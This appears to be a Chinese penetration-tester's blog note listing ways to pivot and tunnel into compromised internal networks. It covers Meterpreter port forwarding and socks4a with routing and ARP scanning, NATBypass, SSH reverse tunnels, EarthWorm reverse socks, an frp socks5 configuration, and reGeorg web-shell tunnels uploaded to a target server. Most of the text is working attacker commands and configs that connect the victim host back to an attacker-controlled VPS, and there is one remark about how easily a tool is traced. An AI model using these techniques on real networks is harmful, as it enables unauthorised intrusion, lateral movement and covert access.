这篇文章列举出我用过的内网代理方法,也算是对内网渗透代理姿势的巩固,也方便日后查阅。
Meterpreter
可以说是渗透中用得较多的工具,在反弹了处于内网的目标shell
之后,介绍两种代理方式。
portfwd
用于转发单个端口,当你目的性很强的情况下,比如只需要目标的3389
端口等,这不失为一种较好的方法。
详细使用语法见:https://www.offensive-security.com/metasploit-unleashed/portfwd/
大致如下:
meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138 # 添加转发 -l:服务器监听端口 -p:内网主机需转发端口 -r:目标内网主机ip meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191 # 删除转发 meterpreter > portfwd list # 列出当前正在侦听和转发的端口列表 meterpreter > portfwd flush # 移除所有转发端口
socks
代理只是tcp
一层往上,如icmp
、arp
等就无法被代理。
msf
中内置了三个socks
代理模块,分别是socks4a
、socks5
、socks_unc
。一般常使用 socks4a
和socks5
进行代理。其二者只是由于所支持的具体应用不同而存在差异。socks4
只支持TCP
协议而socks5
支持TCP/UDP
协议,还支持各种身份验证机制等协议,也就是说这里使用socks5
的话还需要设置用户名与密码。
在获取shell
的机器上添加路由
meterpreter > run get_local_subnets meterpreter > run autoroute -s 192.168.21.0/24 # 添加路由 meterpreter > run autoroute -p # 显示路由 meterpreter > route flush # 删除
可以先通过arp
扫描内网大概存活机器情况
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24
然后建立socks4
代理,
meterpreter > background msf5 exploit(multi/handler) > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1 msf5 auxiliary(server/socks4a) > set srvport 1080 msf5 auxiliary(server/socks4a) > run
设置完成后配置proxychains
,成功
socks5
模块也同理,只是会多设置一个用户名与密码。
参考:
https://blog.csdn.net/qq_36119192/article/details/105872076
https://klionsec.github.io/2016/09/25/msf-socks4a/
NATBypass是一个端口转发工具,类似于lcx
,称为golang
版lcx
,可编译为linux
或windows
版本。
具体原理大概就是公网vps
监听两个本地端口,内网目标主机建立一个端口转发,比如将本地3389
转发到公网vps
的一个端口,vps
监听的另一个端口就相当于内网主机3389
。
公网vps
内网主机
nb -slave 127.0.0.1:3389 x.x.x.x:1997 # x.x.x.x是公网vps的IP
本机直接访问公网vps
的2017
端口即可实现远程内网主机。
ssh
可以端口转发或是建立socks5
隧道。
如果是具有公网地址的主机利用ssh
建立socks5
隧道就简单了:
ssh -N -f -D 9070 x.x.x.x
随后编辑本机/etc/proxychains.conf
文件:
代理成功:
浏览器设置代理:
设想一下,你和目标主机分属不同的内网,从外界都无法直接连通。不过好在这两个内网都可以访问公网(JumpHost),你考虑通过一台公网机器建立两个内网之间的隧道。
在目标主机中执行:
ssh -qTfNn -R 2222:localhost:22 JumpHost
现在登录公网主机执行:
达到的效果只是将目标主机的端口转发到了公网,但是并未实现socks
代理,思考后,尝试了后都不成功,不知可行否,若有师傅告知非常感激!
参考:https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html
详细使用语法见:http://rootkiter.com/EarthWorm/
EW
功能很强大,提供“正向”、“反向”、“多级级联”等方式打通隧道,更适用不同的操作系统,Linux
、Windows
、MacOS
、Arm-Linux
。下面介绍一种简单的反向代理方法。
公网vps
执行
./ew_for_linux64 -s rcsocks -l 7010 -e 7011
目标内网主机执行
.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011 # windows ./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011 # linux
本地攻击机即可通过proxychains
或者浏览器设置socks5
代理至公网vps
的7011
端口即可。
注:无意间浏览该工具作者的博客发现了该工具的新版本,http://rootkiter.com/Termite/ 还没来得及测试使用,先分享一下。
frp
作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。
项目地址:https://github.com/fatedier/frp
可用于端口映射或打通socks
隧道,下面介绍socks
隧道代理
公网vps主机frps.ini
文件
[common] bind_port = 7000 token = password
启动frps
目标内网主机frpc.ini
文件
[common] server_addr = x.x.x.x server_port = 7000 token = password [socks5] type = tcp remote_port = 7004 plugin = socks5
启动frpc
本地攻击机修改/etc/prxoychains.conf
配置文件即可
基于web
服务的socks
隧道使用方便,可用于突破网络限制。常用的工具有:reGeorg,reDuh,Tunna等。
使用方法都大致一样,上传对应网站语言的脚本文件到目标内网服务器,本地利用脚本连接建立socks5
隧道即可。
比如reGeorg
:
根据目标服务器解析语言,选择脚本上传到服务器端,访问显示Georg says, 'All seems fine'
,表示脚本运行正常。
本地攻击主机运行
python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php
监听7001
端口,出现Georg says, 'All seems fine'
字样表明运行正常。可结合prxoychains
进行代理。